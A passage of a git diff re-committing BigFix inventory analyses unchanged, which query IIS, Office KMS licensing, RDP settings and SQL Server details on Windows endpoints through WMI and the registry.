+    <Property ID="2" Name="IIS - Virtual Directories - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of selects &quot;PhysicalPath FROM VirtualDirectory&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of selects &quot;Path FROM IIsWebVirtualDirSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+    <Property ID="3" Name="IIS - Application Pools - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM ApplicationPool&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((following text of first &quot;W3SVC/APPPOOLS/&quot; of string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM IIsApplicationPool&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+    <Property ID="4" Name="IIS - Version - Windows" EvaluationPeriod="PT12H">unique values of (value &quot;MajorVersion&quot; of it as string &amp; &quot;.&quot; &amp; value &quot;MinorVersion&quot; of it as string) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="5" Name="IIS - Components - Windows" EvaluationPeriod="PT12H">unique values of names of values whose (it = 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp\Components&quot; of x32 registry</Property>
+    <Property ID="7" Name="IIS - Virtual Directories mapped with Credentials - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string values of property &quot;UserName&quot; of it, string values of property &quot;PhysicalPath&quot; of it) of select objects &quot;UserName,PhysicalPath FROM VirtualDirectory where UserName != &apos;&apos;&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((string values of property &quot;UNCUserName&quot; of it, string values of property &quot;Path&quot; of it) of select objects &quot;UNCUserName,Path FROM IIsWebVirtualDirSetting where UNCUserName != &apos;&apos;&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes
index 6d3be1016..0aea0f280 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Microsoft Office Software Protection Licensing Information - KMS - Windows
-  ID       : 2994711
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-09-03T11:50:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Microsoft Office Software Protection Licensing Information - KMS - Windows</Title>
-    <Description><![CDATA[<P>Retrieves information about Microsoft Office Software Protection Services.&nbsp; For use with Office versions 2010 and newer.&nbsp; (version 14+) </P>
-<P>This analysis may not be accurate in all cases and may need some refinement for Win8 and the newest version of office.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <Relevance><![CDATA[(exists keys whose (value "DisplayName" of it as string starts with "Microsoft Office" AND value "DisplayVersion" of it as string as version >= "14.0" as version) of keys "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (registry;native registry)) OR (exists keys "OfficeSoftwareProtectionPlatform" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of (native registry;registry))]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 29 Aug 2014 12:58:48 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Names of licensed products" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of string values of selects &quot;Name from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
-    <Property ID="2" Name="License State" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if it = 0 then &quot;Unlicensed&quot; else if it = 1 then &quot;Licensed&quot; else if it = 2 then &quot;OOB Grace&quot; else if it = 3 then &quot;OOT Grace&quot; else if it = 4 then &quot;NonGenuineGrace&quot; else if it = 5 then &quot;Notification&quot; else &quot;&lt;unkown&gt;&quot;) of (integer values of selects &quot;LicenseStatus from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi)</Property>
-    <Property ID="3" Name="Grace Period Expiration" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (it as string) of (if exists integer value of it and integer value of it &gt;0 then now + (minute * (integer value of it)) else nothing) of ((selects &quot;GracePeriodRemaining from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi))</Property>
-    <Property ID="5" Name="Office KMS Server Enabled" EvaluationPeriod="PT12H">(if exists integer value of it and integer value of it = 1 then &quot;Yes&quot; else &quot;No&quot;) of selects &quot;IsKeyManagementServiceMachine from OfficeSoftwareProtectionService&quot; of wmi</Property>
-    <Property ID="6" Name="Activation Method" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (if exists string value of it then preceding text of first &quot; &quot; of following text of last &quot;, &quot; of string value of it as string else nothing) of selects &quot;Description from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
-    <Property ID="7" Name="Partial Product Key" EvaluationPeriod="P1D">concatenation &quot;; &quot; of (if exists string value of it then string value of it as string else nothing) of selects &quot;PartialProductKey from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
-    <Property ID="8" Name="KMS Server (WMI)" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if exists string value of it then string value of it as string else nothing) of selects &quot;DiscoveredKeyManagementServiceMachineName from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
-    <Property ID="9" Name="KMS Server (Registry)" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (it as string) of ( values &quot;KeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of keys of keys of it ) of keys &quot;OfficeSoftwareProtectionPlatform&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft&quot; of (native registry;registry)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Office Software Protection Licensing Information - KMS - Windows
+  ID       : 2994711
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:50:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Office Software Protection Licensing Information - KMS - Windows</Title>
+    <Description><![CDATA[<P>Retrieves information about Microsoft Office Software Protection Services.&nbsp; For use with Office versions 2010 and newer.&nbsp; (version 14+) </P>
+<P>This analysis may not be accurate in all cases and may need some refinement for Win8 and the newest version of office.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance><![CDATA[(exists keys whose (value "DisplayName" of it as string starts with "Microsoft Office" AND value "DisplayVersion" of it as string as version >= "14.0" as version) of keys "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (registry;native registry)) OR (exists keys "OfficeSoftwareProtectionPlatform" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of (native registry;registry))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 29 Aug 2014 12:58:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Names of licensed products" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of string values of selects &quot;Name from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="2" Name="License State" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if it = 0 then &quot;Unlicensed&quot; else if it = 1 then &quot;Licensed&quot; else if it = 2 then &quot;OOB Grace&quot; else if it = 3 then &quot;OOT Grace&quot; else if it = 4 then &quot;NonGenuineGrace&quot; else if it = 5 then &quot;Notification&quot; else &quot;&lt;unkown&gt;&quot;) of (integer values of selects &quot;LicenseStatus from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi)</Property>
+    <Property ID="3" Name="Grace Period Expiration" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (it as string) of (if exists integer value of it and integer value of it &gt;0 then now + (minute * (integer value of it)) else nothing) of ((selects &quot;GracePeriodRemaining from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi))</Property>
+    <Property ID="5" Name="Office KMS Server Enabled" EvaluationPeriod="PT12H">(if exists integer value of it and integer value of it = 1 then &quot;Yes&quot; else &quot;No&quot;) of selects &quot;IsKeyManagementServiceMachine from OfficeSoftwareProtectionService&quot; of wmi</Property>
+    <Property ID="6" Name="Activation Method" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (if exists string value of it then preceding text of first &quot; &quot; of following text of last &quot;, &quot; of string value of it as string else nothing) of selects &quot;Description from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="7" Name="Partial Product Key" EvaluationPeriod="P1D">concatenation &quot;; &quot; of (if exists string value of it then string value of it as string else nothing) of selects &quot;PartialProductKey from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="8" Name="KMS Server (WMI)" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if exists string value of it then string value of it as string else nothing) of selects &quot;DiscoveredKeyManagementServiceMachineName from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="9" Name="KMS Server (Registry)" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (it as string) of ( values &quot;KeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of keys of keys of it ) of keys &quot;OfficeSoftwareProtectionPlatform&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft&quot; of (native registry;registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes
index 74be26316..c20b6b9cd 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Microsoft Remote Service Settings - Extended - RDP
-  ID       : 2994595
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-11-01T12:06:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Microsoft Remote Service Settings - Extended - RDP</Title>
-    <Description><![CDATA[<P>RDP / Terminal Services settings</P>
-<P>&nbsp;</P>
-<P>References:</P>
-<P><A href="http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/"><FONT color=#000080>http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/</FONT></A></P>
-<P><A href="http://support.microsoft.com/kb/243215"><FONT color=#000080>http://support.microsoft.com/kb/243215</FONT></A></P>
-<P><A href="http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008"><FONT color=#000080>http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008</FONT></A></P>
-<P><A href="http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html"><FONT color=#000080>http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3  AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) else false</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Mon, 27 Aug 2007 22:53:50 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 01 Nov 2013 19:06:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="MinEncryptionLevel" EvaluationPeriod="P1D">value &quot;MinEncryptionLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
-    <Property ID="2" Name="Version" EvaluationPeriod="P1D">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of native registry</Property>
-    <Property ID="3" Name="NLA Enabled?" EvaluationPeriod="P1D">(exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; whose(value &quot;UserAuthentication&quot; of it = 1) of native registry)</Property>
-    <Property ID="4" Name="ColorDepth" EvaluationPeriod="P1D">value &quot;ColorDepth&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
-    <Property ID="5" Name="PortNumber" EvaluationPeriod="P1D">value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
-    <Property ID="6" Name="WdName" EvaluationPeriod="P1D">value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
-    <Property ID="7" Name="LicensingMode" EvaluationPeriod="P1D">if (version of operating system &lt;= &quot;6.0&quot;) then ERROR &quot;N/A&quot; else (value &quot;LicensingMode&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\RCM\Licensing Core&quot; of native registry)</Property>
-    <Property ID="8" Name="RDP Version" EvaluationPeriod="P1D">(it as string as version) of value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Remote Service Settings - Extended - RDP
+  ID       : 2994595
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-11-01T12:06:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Remote Service Settings - Extended - RDP</Title>
+    <Description><![CDATA[<P>RDP / Terminal Services settings</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/"><FONT color=#000080>http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/</FONT></A></P>
+<P><A href="http://support.microsoft.com/kb/243215"><FONT color=#000080>http://support.microsoft.com/kb/243215</FONT></A></P>
+<P><A href="http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008"><FONT color=#000080>http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008</FONT></A></P>
+<P><A href="http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html"><FONT color=#000080>http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3  AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) else false</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Mon, 27 Aug 2007 22:53:50 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Nov 2013 19:06:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MinEncryptionLevel" EvaluationPeriod="P1D">value &quot;MinEncryptionLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="2" Name="Version" EvaluationPeriod="P1D">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of native registry</Property>
+    <Property ID="3" Name="NLA Enabled?" EvaluationPeriod="P1D">(exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; whose(value &quot;UserAuthentication&quot; of it = 1) of native registry)</Property>
+    <Property ID="4" Name="ColorDepth" EvaluationPeriod="P1D">value &quot;ColorDepth&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="5" Name="PortNumber" EvaluationPeriod="P1D">value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="6" Name="WdName" EvaluationPeriod="P1D">value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="7" Name="LicensingMode" EvaluationPeriod="P1D">if (version of operating system &lt;= &quot;6.0&quot;) then ERROR &quot;N/A&quot; else (value &quot;LicensingMode&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\RCM\Licensing Core&quot; of native registry)</Property>
+    <Property ID="8" Name="RDP Version" EvaluationPeriod="P1D">(it as string as version) of value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes
index e4a0faa56..88cb930f1 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Microsoft SQL - Windows
-  ID       : 2998470
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-25T15:52:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Microsoft SQL - Windows</Title>
-    <Description><![CDATA[<P>Provides information about the SQL Server and Databases on the system. </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;)</Relevance>
-    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SQL - Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Property>
-    <Property ID="4" Name="SQL - Clustered Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string values of properties &quot;ServiceName&quot; of it) of SELECT OBJECTS &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1 and PropertyNumValue=1&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1&quot; of it | false) </Property>
-    <Property ID="6" Name="SQL - Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
-    <Property ID="7" Name="SQL - Mirrored Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseMirroring&apos;&quot; of wmi)) of wmi</Property>
-    <Property ID="8" Name="SQL - Replicated Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseReplica&apos;&quot; of wmi)) of wmi</Property>
-    <Property ID="9" Name="SQL - Database Disk Usage - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;name&quot; of it, (integer value of property &quot;DataFilesSizeKB&quot; of it / 1024) as string &amp; &quot; MB&quot; ) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
-    <Property ID="10" Name="SQL - Default Port - Windows" EvaluationPeriod="P1D">unique values of integer values of properties &quot;PropertyNumVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of it | false)</Property>
-    <Property ID="11" Name="SQL - Default Named Pipe - Windows" EvaluationPeriod="P1D">unique values of string values of properties &quot;PropertyStrVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of it | false)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft SQL - Windows
+  ID       : 2998470
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-25T15:52:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft SQL - Windows</Title>
+    <Description><![CDATA[<P>Provides information about the SQL Server and Databases on the system. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;)</Relevance>
+    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SQL - Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="4" Name="SQL - Clustered Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string values of properties &quot;ServiceName&quot; of it) of SELECT OBJECTS &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1 and PropertyNumValue=1&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1&quot; of it | false) </Property>
+    <Property ID="6" Name="SQL - Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="7" Name="SQL - Mirrored Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseMirroring&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="8" Name="SQL - Replicated Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseReplica&apos;&quot; of wmi)) of wmi</Property>
